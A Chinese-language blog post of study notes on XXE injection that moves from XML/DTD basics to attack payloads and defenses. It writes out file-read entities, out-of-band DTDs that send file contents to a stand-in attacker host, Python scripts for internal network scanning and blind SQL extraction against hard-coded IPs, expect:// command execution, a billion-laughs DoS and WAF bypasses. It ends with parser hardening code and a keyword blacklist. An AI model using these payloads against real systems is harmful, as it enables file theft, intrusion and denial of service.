XXE 学习记录

0x00 前言

把XXE归为TOP10基础漏洞,其实是因为我觉得是,并且难得分类了,以后所有的漏洞我都归类为TOP10基础漏洞

XXE的前身是XML注入,因为黑客想要得到的东西越来越多,所以出现了XXE

实际上,XXE不是一个bug,而是XML解析器的well-documented特性。XML数据格式允许您在XML文档中包含任何外部文本文件的内容。

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。

本学习笔记,大量参考自网络上各位大佬总结好的,再加上自己的心得总结而成,用途仅用于安全技术学习.文末注明参考资料,侵删.

0x01 基础知识

XML

XML 指可扩展标记语言,XML 被设计用来传输和存储数据。

什么是 XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签
  • XML 被设计为具有自我描述性
  • XML 是 W3C 的推荐标准

XML 树结构

XML 文档形成了一种树结构,它从“根部”开始,然后扩展到“枝叶”。

来看一个XML实例

1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?> <!--XML声明 -->
<note> <!--描述文档的根元素-->
<to>George</to><!--描述根的4个子元素to,from,heading,body -->
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note><!--根元素的结尾-->

第一行是XML声明,定义了XML的版本和所使用的编码(可以不写这个)

XML 文档必须包含根元素。该元素是所有其他元素的父元素。

XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。

所有元素均可拥有子元素:

1
2
3
4
5
<root>
<child>
<subchild>.....</subchild>
</child>
</root>

父、子以及同胞等术语用于描述元素之间的关系。

一张图来解释

XML语法

所有的XML元素必须有关闭的标签,XML标签对大小写敏感

XML的属性值必须加引号(单双引号均可以),属性=”名称/值”

实体引用 ,因为在XML中一些字符拥有特殊的意义

如果把这些字符放在XML元素中,会发生错误,这是因为解析器会把他当做新元素的开始

在 XML 中,有 5 个预定义的实体引用:

< < 小于
> > 大于
& & 和号
' 单引号
" 引号

注释:在 XML 中,只有字符 “<” 和 “&” 确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。

在XML中,空格会被保留,以LF存储换行

XML解析器

所有线代浏览器都内建了读取和操作XML的XML解析器,解析器把XML转为为XML DOM对象 即可以通过javascript操作对象

loadXML()用于加载字符串,load()用于加载文件

XML命名空间

在两个不同的文档中使用相同的元素名时,就会发生命名冲突,可以使用前缀来避免命名冲突比如<h:table>和<f:table>就完美的区分了

使用命名空间,为标签添加属性xmlns,这样就为前缀赋予了一个与某个命名空间相关联的限定名称

XML CDATA

所有的XML文档中的文本均会被解析器解析,只有CDATA区段中的文本会被忽略

PCDATA: 指的是被解析的字符数据

CDATA 部分由 ““ 开始,由 “]]>*” 结束:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

创建元素

createElement() 方法创建新的元素节点。

createTextNode() 方法创建新的文本节点。

appendChild() 方法向节点添加子节点(在最后一个子节点之后)。

删除元素

removeChild() 方法删除指定的节点(或元素)。

DTD

文档类型定义 (DTD) https://www.w3school.com.cn/dtd/index.asp

DTD 的作用是定义 XML 文档的结构。只有在 Internet Explorer 中,可以根据 DTD 来验证 XML。

DTD 外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

看一个例子

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> 这里读取note.dtd
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

XML 文档构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

声明一个元素

在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:

1
<!ELEMENT 元素名称 类别>

或者

1
<!ELEMENT 元素名称 (元素内容)>

声明一个属性

属性声明使用下列语法:

1
<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD 实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

内部实体声明

语法:

1
<!ENTITY 实体名称 "实体的值">

外部实体声明 (XXE漏洞来源)

语法:

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

实体可以看成一个变量,我们可以在XML中使用&符号进行引用

示例代码:

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便

实体也分通用实体和参数实体 , 用&实体名引用的实体叫做通用实体,在DTD中定义,在XML文档中引用

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

参数实体(参数实体在Blind XXE中非常重要):

1)使用% 实体名(中间有个空格),在DTD中定义,并且只能在DTD中使用%实体名;来进行引用

2)只有在DTD文件中,参数实体的声明才能引用其他实体

3)和通用实体一样,参数实体也能够外部引用

1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

0x02 什么是XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到

XXE漏洞原理

既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。

另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

XXE在CTF中的例题可以看着个 API调用

0x03 XXE分类

有回显读本地敏感文件(Normal XXE)

方法: 通过引用外部实体,引用服务器上的文件

一般情况下的payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test [
<!ENTITY a SYSTEM "file//c/:/windows/system,ini">
]>
<test>&a;</test> 通过$a;引用通用实体a 来读取system.ini,当然这里的文件可以随便改

但是如果文件中含有特殊字符,这种一般的payload是得不到什么东西的,并且会报错,这个时候就需要基础知识中的CDATA和参数实体

(by 参考资料1)

payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

这里将存在问题的 SYSTEM”file://…..”写在CDATA中,使其不被解析,而在evil.dtd中又通过参数实体来引用了goodies实体 进而读取文件

无回显读取本地敏感文件(Blind OOB XXE)

正常情况下,服务器上的XML是不负责输出的,一般是用来配置服务的,那么想要利用这个漏洞就必须招待一个不依靠回显的方法,即: 外带

外带就必须要能发起请求,我们可以在外部实体定义的时候发起请求,但是只是发起请求还不够,还必须能把数据传出去

而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

因为实体中的值不能有%

payload:

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

连续调用三个参数实体,先调用% remote, 调用后请求远程服务器上的test.dtd,

然后调用% int 去调用test.dtd中的%file,%file就去获取服务器上的敏感文件,然后将得到的结果填入到%send中,最后再调用%send把读取到的数据发送到vps中,实现了外带,解决了XXE无回显的问题

可利用的不只是file协议,针对不同的平台有不同的协议可用

0x04 XXE利用

HTTP 内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了

探测脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

我是SB

HTTP 内网主机端口扫描

找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 的 intruder模块来 进行端口探测

内网盲注(CTF)

放个脚本学习别人的写脚本思路和利用思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
"name":"evil_man",
"email":"[email protected]",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
%dtd;]>
"""
}

for i in range(0,28):
for j in range(48,123):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
%all;
%send;""".format('_'*i+chr(j)+'_'*(27-i))
f.write(payload2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
result += chr(j)
print chr(j)
break
print result

文件上传

下面的内容和JAVA有关,由于我没学过JAVA,所以这里直接贴大佬总结好的东西

因为现实情况下,大部分XXE都是在java框架出现的,java有个 jar:// 协议,

jar:// 协议的格式:

jar:{url}!{path}

实例:

1
2
3
jar:http://host/application.jar!/file/within/the/zip

这个 ! 后面就是其需要从中解压出的文件

jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件

那么我们怎么找到我们下载的临时文件呢?

因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用

更多的看下面这个..

https://xz.aliyun.com/t/3357#toc-14

PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

示例代码:

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

利用 XXE 进行 DOS 攻击

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

JSON content-type XXE

尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击

简单来说,就是修改HTTP请求头中的content-type 中的 application/json 改为application/xml 然后请求的时候发送恶意的xml数据

0x05 XXE绕过

下面的方法是用于绕过WAF的

方法1:文档中的额外空格

由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在中插入额外的空格,从而绕过此类WAF。

方法2:格式无效

发送特殊格式的XML文档,使WAF认为无效

链接到未知的实体

比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的,否则,WAF本身也可能成为攻击的目标。问题是,外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中 。
这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。

方法3:外来编码(Exotic encodings)

除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如)——文档的第一个字节带有可选的BOM(字节顺序标记)。
更多信息:https://www.w3.org/TR/xml/#sec-guessing
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

方法4:在一个文档中使用两种类型的编码

在上一节中,我们演示了文档的编码通常由其第一个字节指定。但是当包含编码属性的标记引用文档开头的不同字符集时会发生什么?在这种情况下,一些解析器更改编码,使文件的开头有一组字符,其余的是另一组编码。。也就是说,不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在结束后严格地更改字符集,而libxml2解析器可以在执行“编码”属性的值之后或在处理之前或之后切换编码。
只有在根本不处理这些文件时,比较成熟的WAF才能可靠地防止这些文件中的攻击。我们还必须记住,有许多同义词编码,例如UTF-32BE和UCS-4BE。此外,有些编码可能不同,但从编码文档初始部分 的角度来看,它们是兼容的。例如,看似UTF-8的文档可能包含字符串
这里有一些例子。为了简明扼要,我们不把XXE放在文档里。
libxml2解析器将文档视为有效,但是,javax.xml.parsers set中的Java引擎认为它无效:

0x06 XXE防御

使用语言中推荐的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

手动黑名单过滤(不推荐)

过滤关键词:

1
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

0x07 XXE挖掘

  1. 检测XML是否会被正常解析
  2. 检测服务器是否支持DTD引用外部实体
  3. 测试回显或者盲注

如果以上两个条件都满足,那么就有可能存在XXE漏洞的

白盒下:

  1. 审计是否导入并使用官方或第三方XML解析器
  2. 审计是否对XML解析器进行安全配置
  3. 审计被解析的XML文档数据是否可控

0x08 总结

XXE这个点的话,先理解原理和挖掘思路,再对利用方法多进行实操就应该差不多了.

以上笔记应该反复看,反复出心得,并不断更新

0x09 参考资料

一篇文章带你理解漏洞之 XXE 漏洞

绕过WAF保护的XXE

XXE漏洞攻击和防御

XXE漏洞攻防之我见

十分钟带你了解XXE

一次Blind-XXE漏洞挖掘之旅

XXE漏洞利用技巧:从XML到远程代码执行

https://xz.aliyun.com/t/2249

https://xz.aliyun.com/t/122#toc-0

https://p0rz9.github.io/2019/02/27/xxe/

https://baike.baidu.com/item/OOB/1828538

https://cloud.tencent.com/developer/article/1079593

Stop managing your time. Start managing your focus.

Author: m0nk3y
Link: https://hack-for.fun/762e.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.